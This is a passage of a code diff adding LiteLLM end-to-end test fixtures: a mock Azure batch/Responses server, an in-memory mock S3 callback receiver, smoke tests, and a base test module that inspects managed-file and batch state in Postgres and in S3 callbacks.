input_data = data.get("input") + err_msg = _validate_encrypted_content_model(model, input_data) + if err_msg is not None: + raise HTTPException( + status_code=400, + detail={ + "error": { + "message": err_msg, + "type": "invalid_request_error", + "param": None, + "code": "invalid_encrypted_content", + } + }, + ) + + request_details = get_request_details(request, data) + timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + response_details = f"Request:{request_details}, Canned Response:{timestamp}" + response_id = uuid.uuid4().hex + message_id = f"msg_{uuid.uuid4().hex[:34]}" + reasoning_id = f"rs_{uuid.uuid4().hex[:34]}" + + output_items: list[dict[str, Any]] = [ + { + "id": message_id, + "content": [ + { + "annotations": [], + "text": response_details, + "type": "output_text", + "logprobs": [], + }, + ], + "role": "assistant", + "status": "completed", + "type": "message", + }, + ] + + if model: + output_items.append( + { + "id": reasoning_id, + "type": "reasoning", + "status": "completed", + "encrypted_content": f"gAAA_model_{model}_{uuid.uuid4().hex}", + } + ) + + return { + "id": f"resp_{response_id}", + "created_at": int(time.time()), + "error": None, + "incomplete_details": None, + "instructions": None, + "metadata": {}, + "model": model, + "object": "response", + "output": output_items, + "parallel_tool_calls": True, + "temperature": data.get("temperature", 1.0), + "tool_choice": data.get("tool_choice", "auto"), + "tools": data.get("tools", []), + "top_p": data.get("top_p", 1.0), + "max_output_tokens": data.get("max_output_tokens"), + "previous_response_id": None, + "reasoning": {"effort": None, "summary": None}, + "status": "completed", + "text": {"format": {"type": "text"}, "verbosity": "medium"}, + "truncation": "disabled", + "usage": { + "input_tokens": 11, + "input_tokens_details": { + "audio_tokens": None, + "cached_tokens": 0, + "text_tokens": None, + }, + "output_tokens": 19, + "output_tokens_details": {"reasoning_tokens": 0, "text_tokens": None}, + "total_tokens": 30, + "cost": None, + }, + "user": None, + "store": True, + "background": False, + "content_filters": None, + "max_tool_calls": None, + "prompt_cache_key": None, + "safety_identifier": None, + "service_tier": "default", + "top_logprobs": 0, + } diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_s3_callback.py b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_s3_callback.py new file mode 100644 index 00000000000..8cc99a75b2a --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_s3_callback.py @@ -0,0 +1,98 @@ +""" +Mock S3 callback receiver for testing LiteLLM S3 callbacks. + +This module provides S3-compatible endpoints that capture callback data +sent by LiteLLM's s3_v2 callback handler after batch completion. +""" + +import json +import logging +import time +from typing import Any, Dict, List, Optional + +from fastapi import FastAPI, Request +from pydantic import BaseModel + +logging.basicConfig(level=logging.INFO) +logger = logging.getLogger(__name__) + + +class S3CallbackRecord(BaseModel): + key: str + bucket: str + content: Dict[str, Any] + timestamp: int + content_type: Optional[str] = None + + +callback_storage: List[S3CallbackRecord] = [] + + +def setup_s3_callback_routes(app: FastAPI): + @app.put("/{bucket}/{key:path}") + async def s3_put_object(bucket: str, key: str, request: Request): + content_type = request.headers.get("content-type", "application/json") + body = await request.body() + + try: + content = json.loads(body.decode("utf-8")) + except (json.JSONDecodeError, UnicodeDecodeError): + content = {"raw": body.decode("utf-8", errors="replace")} + + record = S3CallbackRecord( + key=key, + bucket=bucket, + content=content, + timestamp=int(time.time()), + content_type=content_type, + ) + callback_storage.append(record) + + logger.info(f"S3 callback received: bucket={bucket}, key={key}") + logger.debug(f"Callback content: {json.dumps(content, indent=2)[:500]}") + + return { + "ETag": f'"{hash(body)}"', + "VersionId": None, + } + + @app.get("/mock-s3/callbacks") + async def list_callbacks( + bucket: Optional[str] = None, + key_prefix: Optional[str] = None, + limit: int = 100, + ): + results = callback_storage + + if bucket: + results = [r for r in results if r.bucket == bucket] + + if key_prefix: + results = [r for r in results if r.key.startswith(key_prefix)] + + return { + "count": len(results), + "callbacks": [r.model_dump() for r in results[-limit:]], + } + + @app.get("/mock-s3/callbacks/count") + async def count_callbacks(bucket: Optional[str] = None): + if bucket: + count = sum(1 for r in callback_storage if r.bucket == bucket) + else: + count = len(callback_storage) + + return {"count": count} + + @app.get("/mock-s3/callbacks/latest") + async def get_latest_callback(): + if not callback_storage: + return {"callback": None} + return {"callback": callback_storage[-1].model_dump()} + + @app.delete("/mock-s3/callbacks") + async def clear_callbacks(): + count = len(callback_storage) + callback_storage.clear() + logger.info(f"Cleared {count} S3 callbacks") + return {"cleared": count} diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/server.py b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/server.py new file mode 100644 index 00000000000..a0bda6a1866 --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/server.py @@ -0,0 +1,33 @@ +from fastapi import FastAPI, Request +from fastapi.middleware.cors import CORSMiddleware + +from .mock_azure_batch import setup_batch_routes +from .mock_chat import setup_chat_routes +from .mock_embeddings import setup_embeddings_routes +from .mock_responses import setup_responses_routes +from .mock_s3_callback import setup_s3_callback_routes + + +def create_mock_azure_batch_server() -> FastAPI: + """Create a FastAPI app that mocks Azure Batch API and S3 callbacks.""" + app = FastAPI() + + app.add_middleware( + CORSMiddleware, + allow_origins=["*"], + allow_credentials=True, + allow_methods=["*"], + allow_headers=["*"], + ) + + @app.get("/health") + async def health(): + return {"status": "ok"} + + setup_chat_routes(app) + setup_responses_routes(app) + setup_embeddings_routes(app) + setup_batch_routes(app) + setup_s3_callback_routes(app) + + return app diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/run_mock_server.py b/tests/proxy_e2e_azure_batches_tests/fixtures/run_mock_server.py new file mode 100644 index 00000000000..8804c47b7da --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/fixtures/run_mock_server.py @@ -0,0 +1,12 @@ + +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from fixtures.mock_azure_batch_server import create_mock_azure_batch_server +import uvicorn + +if __name__ == "__main__": + app = create_mock_azure_batch_server() + uvicorn.run(app, host="0.0.0.0", port=8090, log_level="info", access_log=False) diff --git a/tests/proxy_e2e_azure_batches_tests/test_fixtures_smoke.py b/tests/proxy_e2e_azure_batches_tests/test_fixtures_smoke.py new file mode 100644 index 00000000000..eeb17963715 --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/test_fixtures_smoke.py @@ -0,0 +1,41 @@ +""" +Smoke test to verify fixtures start and stop correctly. +Run this first to ensure the infrastructure works before running full E2E tests. +""" + +import httpx +import pytest + + +pytestmark = pytest.mark.usefixtures("mock_azure_server", "litellm_proxy_server") + + +def test_mock_server_health(mock_azure_server): + """Verify mock Azure server is running and healthy.""" + response = httpx.get(f"{mock_azure_server}/health", timeout=5.0) + assert response.status_code == 200 + assert response.json() == {"status": "ok"} + print(f"✓ Mock Azure server is healthy at {mock_azure_server}") + + +def test_litellm_proxy_health(litellm_proxy_server): + """Verify LiteLLM proxy is running and healthy.""" + response = httpx.get(f"{litellm_proxy_server}/health", timeout=5.0) + assert response.status_code == 200 + print(f"✓ LiteLLM proxy is healthy at {litellm_proxy_server}") + + +def test_litellm_proxy_model_list(litellm_proxy_server): + """Verify LiteLLM proxy can list models.""" + response = httpx.get( + f"{litellm_proxy_server}/v1/models", + headers={"Authorization": "Bearer sk-1234"}, + timeout=5.0, + ) + assert response.status_code == 200 + data = response.json() + assert "data" in data + models = [m["id"] for m in data["data"]] + print(f"✓ LiteLLM proxy has {len(models)} models configured") + assert "azure-fake-gpt-5-batch-2025-08-07" in models + print(f"✓ Azure batch model is configured") diff --git a/tests/proxy_e2e_azure_batches_tests/test_managed_files_base.py b/tests/proxy_e2e_azure_batches_tests/test_managed_files_base.py new file mode 100644 index 00000000000..79e7e58f39b --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/test_managed_files_base.py @@ -0,0 +1,1085 @@ +"""Base class for managed files and batch API tests.""" + +import json +import os +import sys +import time +from datetime import datetime +from typing import Optional +from urllib.parse import urlparse + +import httpx +import openai +import psycopg2 +import pytest +from tenacity import Retrying, stop_after_delay, wait_fixed + +sys.path.insert(0, os.path.abspath("../..")) + +from base_integration_test import ( + BaseLiteLLMIntegrationTest, + get_mock_server_base_url, + use_mock_models, +) + + +class ManagedFilesState: + """Query and pretty print the state of managed files and objects tables.""" + + def __init__(self, database_url: Optional[str] = None): + self.database_url = database_url or os.environ.get("DATABASE_URL") + if not self.database_url: + raise ValueError("DATABASE_URL not provided and not in environment") + + def _get_connection(self): + parsed = urlparse(self.database_url) + return psycopg2.connect( + host=parsed.hostname, + port=parsed.port or 5432, + user=parsed.username, + password=parsed.password, + dbname=parsed.path.lstrip("/"), + ) + + def _shorten_id(self, id_str: str, max_len: int = 24) -> str: + if id_str is None: + return "None" + if len(id_str) <= max_len: + return id_str + return id_str[:10] + "..." + id_str[-10:] + + def _format_timestamp(self, ts) -> str: + if ts is None: + return "None" + if isinstance(ts, datetime): + return ts.strftime("%Y-%m-%d %H:%M:%S") + return str(ts) + + def get_managed_files(self, limit: int = 20) -> list: + query = """ + SELECT unified_file_id, file_purpose, created_by, created_at, + updated_at, model_mappings, storage_backend + FROM "LiteLLM_ManagedFileTable" + ORDER BY created_at DESC + LIMIT %s + """ + with self._get_connection() as conn: + with conn.cursor() as cur: + cur.execute(query, (limit,)) + columns = [desc[0] for desc in cur.description] + return [dict(zip(columns, row)) for row in cur.fetchall()] + + def get_managed_objects( + self, + limit: int = 20, + status: Optional[str] = None, + ) -> list: + query = """ + SELECT id, unified_object_id, status, file_purpose, + created_by, created_at, updated_at + FROM "LiteLLM_ManagedObjectTable" + """ + params = [] + if status: + query += " WHERE status = %s" + params.append(status) + query += " ORDER BY created_at DESC LIMIT %s" + params.append(limit) + + with self._get_connection() as conn: + with conn.cursor() as cur: + cur.execute(query, params) + columns = [desc[0] for desc in cur.description] + return [dict(zip(columns, row)) for row in cur.fetchall()] + + def print_managed_files(self, limit: int = 20): + files = self.get_managed_files(limit) + print(f"\n{'=' * 80}") + print(f"MANAGED FILES TABLE ({len(files)} rows)") + print(f"{'=' * 80}") + + if not files: + print(" (no rows)") + return + + for i, f in enumerate(files, 1): + print(f"\n[{i}] unified_file_id: {self._shorten_id(f['unified_file_id'])}") + print(f" purpose: {f['file_purpose']}") + print(f" created_by: {f['created_by']}") + print(f" created_at: {self._format_timestamp(f['created_at'])}") + print(f" storage_backend: {f.get('storage_backend', 'None')}") + if f.get("model_mappings"): + mappings = f["model_mappings"] + if isinstance(mappings, dict): + print(f" model_mappings: {len(mappings)} model(s)") + for model_id, file_id in list(mappings.items())[:3]: + print( + f" - {self._shorten_id(model_id)}: {self._shorten_id(file_id)}", + ) + if len(mappings) > 3: + print(f" ... and {len(mappings) - 3} more") + + def print_managed_objects(self, limit: int = 20, status: Optional[str] = None): + """Pretty print the managed objects table.""" + objects = self.get_managed_objects(limit, status) + status_filter = f" (status={status})" if status else "" + print(f"\n{'=' * 80}") + print(f"MANAGED OBJECTS TABLE{status_filter} ({len(objects)} rows)") + print(f"{'=' * 80}") + + if not objects: + print(" (no rows)") + return + + for i, o in enumerate(objects, 1): + print(f"\n[{i}] id: {o['id']}") + print(f" unified_object_id: {self._shorten_id(o['unified_object_id'])}") + print(f" status: {o['status']}") + print(f" file_purpose: {o['file_purpose']}") + print(f" created_by: {o['created_by']}") + print(f" created_at: {self._format_timestamp(o['created_at'])}") + + def print_validating_batches(self): + """Print batches that are stuck in validating state.""" + self.print_managed_objects(status="validating") + + def print_all(self, limit: int = 10): + """Print both tables.""" + self.print_managed_files(limit) + self.print_managed_objects(limit) + + def count_by_status(self) -> dict: + """Count managed objects by status.""" + query = """ + SELECT status, COUNT(*) as count + FROM "LiteLLM_ManagedObjectTable" + GROUP BY status + ORDER BY count DESC + """ + with self._get_connection() as conn: + with conn.cursor() as cur: + cur.execute(query) + return {row[0]: row[1] for row in cur.fetchall()} + + def print_summary(self): + """Print a summary of table states.""" + print(f"\n{'=' * 80}") + print("DATABASE STATE SUMMARY") + print(f"{'=' * 80}") + + with self._get_connection() as conn: + with conn.cursor() as cur: + cur.execute('SELECT COUNT(*) FROM "LiteLLM_ManagedFileTable"') + file_count = cur.fetchone()[0] + + cur.execute('SELECT COUNT(*) FROM "LiteLLM_ManagedObjectTable"') + object_count = cur.fetchone()[0] + + print(f"\nManaged Files: {file_count} total") + print(f"Managed Objects: {object_count} total") + + status_counts = self.count_by_status() + if status_counts: + print("\nObjects by status:") + for status, count in status_counts.items(): + print(f" - {status}: {count}") + + def get_file_by_unified_id(self, unified_file_id: str) -> Optional[dict]: + """Get a managed file by its unified file ID.""" + query = """ + SELECT unified_file_id, file_object, created_by, created_at, + updated_at, model_mappings, storage_backend + FROM "LiteLLM_ManagedFileTable" + WHERE unified_file_id = %s + """ + with self._get_connection() as conn: + with conn.cursor() as cur: + cur.execute(query, (unified_file_id,)) + row = cur.fetchone() + if row: + columns = [desc[0] for desc in cur.description] + return dict(zip(columns, row)) + return None + + def get_batch_by_unified_id(self, unified_object_id: str) -> Optional[dict]: + """Get a managed batch/object by its unified object ID.""" + query = """ + SELECT id, unified_object_id, model_object_id, status, file_purpose, + created_by, created_at, updated_at + FROM "LiteLLM_ManagedObjectTable" + WHERE unified_object_id = %s + """ + with self._get_connection() as conn: + with conn.cursor() as cur: + cur.execute(query, (unified_object_id,)) + row = cur.fetchone() + if row: + columns = [desc[0] for desc in cur.description] + return dict(zip(columns, row)) + return None + + def get_batch_by_id(self, batch_id: int) -> Optional[dict]: + """Get a managed batch/object by its integer ID.""" + query = """ + SELECT id, unified_object_id, status, file_purpose, + created_by, created_at, updated_at + FROM "LiteLLM_ManagedObjectTable" + WHERE id = %s + """ + with self._get_connection() as conn: + with conn.cursor() as cur: + cur.execute(query, (batch_id,)) + row = cur.fetchone() + if row: + columns = [desc[0] for desc in cur.description] + return dict(zip(columns, row)) + return None + + +MIN_EXPIRY_SECONDS = 259200 + + +class _BaseSubTracker: + """Shared helpers for sub-trackers.""" + + def _shorten_id(self, id_str: str, max_len: int = 20) -> str: + if id_str is None: + return "None" + if len(id_str) <= max_len: + return id_str + return id_str[:8] + "..." + id_str[-8:] + + def _format_timestamp(self, ts) -> str: + if ts is None: + return "None" + if isinstance(ts, datetime): + return ts.strftime("%H:%M:%S") + if isinstance(ts, int): + return datetime.fromtimestamp(ts).strftime("%H:%M:%S") + return str(ts) + + +class BatchDbStateTracker(_BaseSubTracker): + """Tracks batch/file state in the LiteLLM database.""" + + def __init__(self, db_state: ManagedFilesState): + self.db_state = db_state + + def get_file_state(self, file_id: str) -> Optional[dict]: + return self.db_state.get_file_by_unified_id(file_id) + + def get_batch_state(self, batch_id: str) -> Optional[dict]: + return self.db_state.get_batch_by_unified_id(batch_id) + + def format_file_lines(self, file_id: str) -> tuple[str, list[str]]: + """Return (header, detail_lines) for the DB file state.""" + db_file = self.get_file_state(file_id) + header_id = ( + self._shorten_id(db_file.get("unified_file_id")) if db_file else "N/A" + ) + header = f"FILE (DB): {header_id}" + + if not db_file: + return header, [" (not found in DB)"] + + file_obj = db_file.get("file_object") or {} + if isinstance(file_obj, str): + try: + file_obj = json.loads(file_obj) + except Exception: + file_obj = {} + lines = [ + f" purpose: {file_obj.get('purpose', 'N/A')}", + f" storage: {db_file.get('storage_backend', 'N/A')}", + f" created: {self._format_timestamp(db_file.get('created_at'))}", + f" updated: {self._format_timestamp(db_file.get('updated_at'))}", + ] + mappings = db_file.get("model_mappings") + if mappings and isinstance(mappings, dict): + lines.append(f" mappings: {len(mappings)} model(s)") + return header, lines + + def format_batch_lines(self, batch_id: str) -> tuple[str, list[str]]: + """Return (header, detail_lines) for the DB batch state.""" + db_batch = self.get_batch_state(batch_id) + header_id = ( + self._shorten_id(db_batch.get("unified_object_id")) if db_batch else "N/A" + ) + header = f"BATCH (DB): {header_id}" + + if not db_batch: + return header, [" (not found in DB)"] + + lines = [ + f" status: {db_batch.get('status', 'N/A')}", + f" purpose: {db_batch.get('file_purpose', 'N/A')}", + f" created: {self._format_timestamp(db_batch.get('created_at'))}", + f" updated: {self._format_timestamp(db_batch.get('updated_at'))}", + ] + return header, lines + + +class BatchProviderStateTracker(_BaseSubTracker): + """Tracks batch/file state as reported by the LLM provider (via OpenAI client).""" + + def __init__(self, openai_client: openai.OpenAI): + self.client = openai_client + + def get_file_state(self, file_id: str) -> Optional[dict]: + try: + file_obj = self.client.files.retrieve(file_id) + return { + "id": file_obj.id, + "status": file_obj.status, + "purpose": file_obj.purpose, + "bytes": file_obj.bytes, + "filename": file_obj.filename, + "created_at": file_obj.created_at, + "expires_at": file_obj.expires_at, + } + except Exception as e: + return {"error": str(e)} + + def get_batch_state(self, batch_id: str) -> Optional[dict]: + try: + batch = self.client.batches.retrieve(batch_id) + return { + "id": batch.id, + "status": batch.status, + "input_file_id": batch.input_file_id, + "output_file_id": batch.output_file_id, + "error_file_id": batch.error_file_id, + "created_at": batch.created_at, + "completed_at": batch.completed_at, + "request_counts": batch.request_counts, + } + except Exception as e: + return {"error": str(e)} + + def format_file_lines( + self, + file_id: str, + db_state: Optional[BatchDbStateTracker] = None, + ) -> tuple[str, list[str]]: + """Return (header, detail_lines) for the provider file state.""" + raw_file_id = "N/A" + if db_state: + db_file = db_state.get_file_state(file_id) + if db_file: + mappings = db_file.get("model_mappings") + if mappings and isinstance(mappings, dict) and mappings: + first_file_id = next(iter(mappings.values()), None) + raw_file_id = ( + self._shorten_id(first_file_id) if first_file_id else "N/A" + ) + header = f"FILE (RAW): {raw_file_id}" + + provider_file = self.get_file_state(file_id) + if provider_file and "error" not in provider_file: + lines = [ + f" status: {provider_file.get('status', 'N/A')}", + f" purpose: {provider_file.get('purpose', 'N/A')}", + f" bytes: {provider_file.get('bytes', 0)}", + f" created: {self._format_timestamp(provider_file.get('created_at'))}", + f" expires: {self._format_timestamp(provider_file.get('expires_at'))}", + ] + elif provider_file and "error" in provider_file: + lines = [f" ERROR: {provider_file['error'][:35]}"] + else: + lines = [" (not found)"] + return header, lines + + def format_batch_lines( + self, + batch_id: str, + db_state: Optional[BatchDbStateTracker] = None, + ) -> tuple[str, list[str]]: + """Return (header, detail_lines) for the provider batch state.""" + raw_prov_id = "N/A" + if db_state: + db_batch = db_state.get_batch_state(batch_id) + if db_batch: + raw_prov_id = self._shorten_id(db_batch.get("model_object_id")) + header = f"BATCH (RAW): {raw_prov_id}" + + provider_batch = self.get_batch_state(batch_id) + if provider_batch and "error" not in provider_batch: + lines = [ + f" status: {provider_batch.get('status', 'N/A')}", + f" input: {self._shorten_id(provider_batch.get('input_file_id'))}", + f" output: {self._shorten_id(provider_batch.get('output_file_id'))}", + f" created: {self._format_timestamp(provider_batch.get('created_at'))}", + f" completed: {self._format_timestamp(provider_batch.get('completed_at'))}", + ] + req_counts = provider_batch.get("request_counts") + if req_counts: + lines.append( + f" requests: {req_counts.total} total, {req_counts.completed} done", + ) + elif provider_batch and "error" in provider_batch: + lines = [f" ERROR: {provider_batch['error'][:35]}"] + else: + lines = [" (not found)"] + return header, lines + + +class BatchS3StateTracker(_BaseSubTracker): + """Tracks S3 callback state from the mock S3 server.""" + + def __init__(self, mock_server_base_url: str): + self.mock_server_base_url = mock_server_base_url + + def get_callbacks(self, limit: int = 100) -> list[dict]: + try: + response = httpx.get( + f"{self.mock_server_base_url}/mock-s3/callbacks", + params={"limit": limit}, + timeout=5, + ) + if response.status_code == 200: + return response.json().get("callbacks", []) + return [] + except Exception: + return [] + + def get_batch_callbacks(self) -> list[dict]: + """Return only callbacks related to batch operations.""" + batch_call_types = { + "acreate_batch", + "aretrieve_batch", + "acreate_file", + "afile_content", + } + return [ + cb + for cb in self.get_callbacks() + if cb.get("content", {}).get("call_type", "") in batch_call_types + ] + + def get_cost_callbacks(self) -> list[dict]: + """Return CheckBatchCost callbacks (aretrieve_batch with no user_api_key_hash).""" + result = [] + for cb in self.get_callbacks(): + content = cb.get("content", {}) + if content.get("call_type") != "aretrieve_batch": + continue + metadata = content.get("metadata") or {} + if metadata.get("user_api_key_hash") is None: + result.append(cb) + return result + + def format_batch_lines(self, batch_id: str) -> tuple[str, list[str]]: + """Return (header, detail_lines) summarising S3 callback state for this batch.""" + all_cbs = self.get_callbacks() + batch_cbs = self.get_batch_callbacks() + cost_cbs = self.get_cost_callbacks() + + header = f"S3 CALLBACKS: {len(all_cbs)} total" + lines = [ + f" batch-related: {len(batch_cbs)}", + f" cost events: {len(cost_cbs)}", + ] + + # Summarise call_type breakdown for batch callbacks + type_counts: dict[str, int] = {} + for cb in batch_cbs: + ct = cb.get("content", {}).get("call_type", "unknown") + type_counts[ct] = type_counts.get(ct, 0) + 1 + for ct, count in sorted(type_counts.items()): + lines.append(f" {ct}: {count}") + + # Show cost info from the latest cost callback (if any) + if cost_cbs: + latest = cost_cbs[-1].get("content", {}) + lines.append(f" latest cost event:") + lines.append(f" model: {latest.get('model', 'N/A')}") + lines.append(f" response_cost: {latest.get('response_cost', 'N/A')}") + lines.append(f" total_tokens: {latest.get('total_tokens', 0)}") + + return header, lines + + def print_all_callbacks(self): + """Print every S3 callback object in detail, ordered by S3 key timestamp.""" + callbacks = self.get_callbacks() + + # Sort by the timestamp embedded in the S3 key (e.g. "2026-02-15/time-13-01-31-269789_...") + callbacks.sort(key=lambda cb: cb.get("key", "")) + + print(f"\n{'=' * 90}") + print( + f"S3 CALLBACK DETAIL — {len(callbacks)} object(s), ordered by received time", + ) + print(f"{'=' * 90}") + + if not callbacks: + print(" (no callbacks)") + return + + for i, cb in enumerate(callbacks, 1): + content = cb.get("content", {}) + metadata = content.get("metadata") or {} + hidden = content.get("hidden_params") or {} + + print(f"\n[{i}] call_type: {content.get('call_type', 'N/A')}") + print( + f" s3_received_at: {cb.get('received_at', cb.get('timestamp', 'N/A'))}", + ) + print(f" id: {self._shorten_id(content.get('id', ''))}") + print(f" model: {content.get('model', 'N/A')}") + print(f" status: {content.get('status', 'N/A')}") + print(f" response_cost: {content.get('response_cost', 'N/A')}") + print(f" total_tokens: {content.get('total_tokens', 0)}") + print(f" prompt_tokens: {content.get('prompt_tokens', 0)}") + print(f" completion_tokens: {content.get('completion_tokens', 0)}") + print( + f" custom_llm_provider: {content.get('custom_llm_provider', 'N/A')}", + ) + print(f" api_base: {self._shorten_id(content.get('api_base', ''), 40)}") + print(f" cache_hit: {content.get('cache_hit', 'N/A')}") + + print(f" metadata:") + print( + f" user_api_key_hash: {self._shorten_id(metadata.get('user_api_key_hash', 'None'))}", + ) + print( + f" user_api_key_alias: {metadata.get('user_api_key_alias', 'None')}", + ) + print( + f" user_api_key_team_id: {metadata.get('user_api_key_team_id', 'None')}", + ) + print( + f" user_api_key_team_alias: {metadata.get('user_api_key_team_alias', 'None')}", + ) + print( + f" user_api_key_user_id: {metadata.get('user_api_key_user_id', 'None')}", + ) + + batch_models = hidden.get("batch_models") + if batch_models: + print(f" batch_models: {batch_models}") + + response = content.get("response") or {} + if isinstance(response, dict) and response.get("status"): + print(f" response.status: {response.get('status')}") + req_counts = response.get("request_counts") or {} + if req_counts: + print( + f" response.request_counts: total={req_counts.get('total', 0)}, completed={req_counts.get('completed', 0)}, failed={req_counts.get('failed', 0)}", + ) + out_file = response.get("output_file_id") + if out_file: + print(f" response.output_file_id: {self._shorten_id(out_file)}") + + s3_key = cb.get("key", "") + if s3_key: + print(f" s3_key: {s3_key}") + + print(f"\n{'=' * 90}\n") + + +class NoOpStateTracker: + """No-op tracker used when state tracking is disabled.""" + + def set_file_id(self, file_id: str): + pass + + def set_batch_id(self, batch_id: str): + pass + + def print_state(self, step_name: str): + pass + + def wait_and_print_s3_callbacks(self): + pass + + def assert_batch_cost_callback(self): + pass + + +class StateTracker: + """Tracks and prints DB, Provider, and S3 state after each step.""" + + def __init__( + self, + db_tracker: BatchDbStateTracker, + provider_tracker: BatchProviderStateTracker, + s3_tracker: Optional[BatchS3StateTracker] = None, + ): + self.db_tracker = db_tracker + self.provider_tracker = provider_tracker + self.s3_tracker = s3_tracker + self.current_file_id: Optional[str] = None + self.current_batch_id: Optional[str] = None + self.step_number = 0 + + def set_file_id(self, file_id: str): + """Set the file ID to track.""" + self.current_file_id = file_id + + def set_batch_id(self, batch_id: str): + """Set the batch ID to track.""" + self.current_batch_id = batch_id + + def print_state(self, step_name: str): + """Print DB, provider, and S3 state for tracked file and batch.""" + self.step_number += 1 + has_s3 = self.s3_tracker is not None + col_width = 40 + num_cols = 3 if has_s3 else 2 + total_width = (col_width + 3) * num_cols + + print(f"\n{'─' * total_width}") + print(f"│ STEP {self.step_number}: {step_name}") + print(f"{'─' * total_width}") + + col_headers = [ + f"{'DATABASE STATE':<{col_width}}", + f"{'PROVIDER STATE':<{col_width}}", + ] + if has_s3: + col_headers.append(f"{'S3 STATE':<{col_width}}") + print("│ " + " │ ".join(col_headers)) + print(f"{'─' * total_width}") + + if self.current_file_id: + self._print_file_state(col_width, has_s3) + + if self.current_batch_id: + self._print_batch_state(col_width, has_s3) + + print(f"{'─' * total_width}\n") + + def _has_completed_batch_cost_callback(self) -> bool: + """Check if an aretrieve_batch callback with completed status and cost>0 exists.""" + for cb in self.s3_tracker.get_callbacks(): + content = cb.get("content", {}) + if content.get("call_type") != "aretrieve_batch": + continue + response = content.get("response") or {} + if not isinstance(response, dict) or response.get("status") != "completed": + continue + cost = content.get("response_cost", 0) + if cost and cost > 0: + return True + return False + + def wait_and_print_s3_callbacks(self): + """Wait for the S3 v2 logger to flush, then print all callbacks in detail. + + Waits until the cost callback arrives or max_wait is reached. + After detecting the cost callback, waits one extra flush interval + for the proxy to finalize batch_processed before returning. + """ + if not self.s3_tracker: + return + + s3_flush_interval = int(os.environ.get("DEFAULT_S3_FLUSH_INTERVAL_SECONDS", 10)) + batch_poll_interval = int(os.environ.get("PROXY_BATCH_POLLING_INTERVAL", 10)) + max_wait = batch_poll_interval * 3 + s3_flush_interval * 5 + prev_count = len(self.s3_tracker.get_callbacks()) + waited = 0 + cost_detected = False + while waited < max_wait: + print( + f"Waiting for {s3_flush_interval} secs for S3 callbacks to be flushed", + ) + time.sleep(s3_flush_interval) + waited += s3_flush_interval + curr_count = len(self.s3_tracker.get_callbacks()) + print( + f"[S3 flush wait] {waited}s/{max_wait}s — " + f"callbacks: {prev_count} → {curr_count}", + ) + prev_count = curr_count + + if not cost_detected and self._has_completed_batch_cost_callback(): + print( + "Cost callback detected — waiting one more interval " + "for batch_processed finalization" + ) + cost_detected = True + elif cost_detected: + break + + self.s3_tracker.print_all_callbacks() + + def assert_batch_cost_callback(self): + """Assert that a completed-batch S3 callback with non-zero cost exists.""" + if not self.s3_tracker: + return + + callbacks = self.s3_tracker.get_callbacks() + valid_callbacks = [] + for cb in callbacks: + content = cb.get("content", {}) + if content.get("call_type") != "aretrieve_batch": + continue + response = content.get("response") or {} + if not isinstance(response, dict) or response.get("status") != "completed": + continue + cost = content.get("response_cost", 0) + if cost and cost > 0: + valid_callbacks.append(cb) + + if len(valid_callbacks) != 1: + print( + f"\n❌ Assertion failed: Found {len(valid_callbacks)} valid callbacks (expected 1)", + ) + print( + "\nAll valid callbacks with call_type=aretrieve_batch, status=completed, cost>0:", + ) + for idx, cb in enumerate(valid_callbacks, 1): + content = cb.get("content", {}) + print(f"\n[{idx}] Callback:") + print(f" id: {content.get('id', 'N/A')}") + print(f" response_cost: {content.get('response_cost', 0)}") + print(f" litellm_call_id: {content.get('litellm_call_id', 'N/A')}") + response = content.get("response", {}) + print(f" response.id: {response.get('id', 'N/A')}") + print(f" response.status: {response.get('status', 'N/A')}") + metadata = content.get("metadata", {}) + print( + f" user_api_key_user_id: {metadata.get('user_api_key_user_id', 'N/A')}", + ) + print( + f" user_api_key_alias: {metadata.get('user_api_key_alias', 'N/A')}", + ) + print( + f" user_api_key_hash: {metadata.get('user_api_key_hash', 'N/A')}", + ) + print(f" source: {metadata.get('source', 'NOT SET')}") + raise AssertionError( + f"Expected 1 valid callback with call_type=aretrieve_batch, " + f"response.status=completed, and response_cost > 0. " + f"Found {len(valid_callbacks)} valid callbacks.", + ) + + valid_callback = valid_callbacks[0] + callback_user_alias = ( + valid_callback.get("content", {}) + .get("metadata", {}) + .get("user_api_key_alias") + ) + if not callback_user_alias: + raise AssertionError( + f"Expected user_api_key_alias to be set. Found {callback_user_alias}.", + ) + + if callback_user_alias == "default_user_alias": + raise AssertionError( + f"Expected user_api_key_alias to be set to the user who created the batch. " + f"Expected user_api_key_alias to be 'default_user_alias'. " + f"Found {callback_user_alias}.", + ) + + def _print_columns(self, columns: list[list[str]], col_width: int): + """Print multiple columns side-by-side.""" + max_lines = max(len(col) for col in columns) + for i in range(max_lines): + parts = [] + for col in columns: + line = col[i] if i < len(col) else "" + parts.append(f"{line:<{col_width}}") + print("│ " + " │ ".join(parts)) + + def _print_file_state(self, col_width: int, has_s3: bool): + db_header, db_lines = self.db_tracker.format_file_lines(self.current_file_id) + prov_header, prov_lines = self.provider_tracker.format_file_lines( + self.current_file_id, + db_state=self.db_tracker, + ) + + headers = [db_header, prov_header] + columns = [db_lines, prov_lines] + if has_s3: + headers.append("") + columns.append([]) + + header_parts = [f"{h:<{col_width}}" for h in headers] + print("│ " + " │ ".join(header_parts)) + self._print_columns(columns, col_width) + + def _print_batch_state(self, col_width: int, has_s3: bool): + db_header, db_lines = self.db_tracker.format_batch_lines(self.current_batch_id) + prov_header, prov_lines = self.provider_tracker.format_batch_lines( + self.current_batch_id, + db_state=self.db_tracker, + ) + + headers = [db_header, prov_header] + columns = [db_lines, prov_lines] + if has_s3: + s3_header, s3_lines = self.s3_tracker.format_batch_lines( + self.current_batch_id, + ) + headers.append(s3_header) + columns.append(s3_lines) + + # blank separator row + blank = [f"{'':<{col_width}}"] * len(headers) + print("│ " + " │ ".join(blank)) + + header_parts 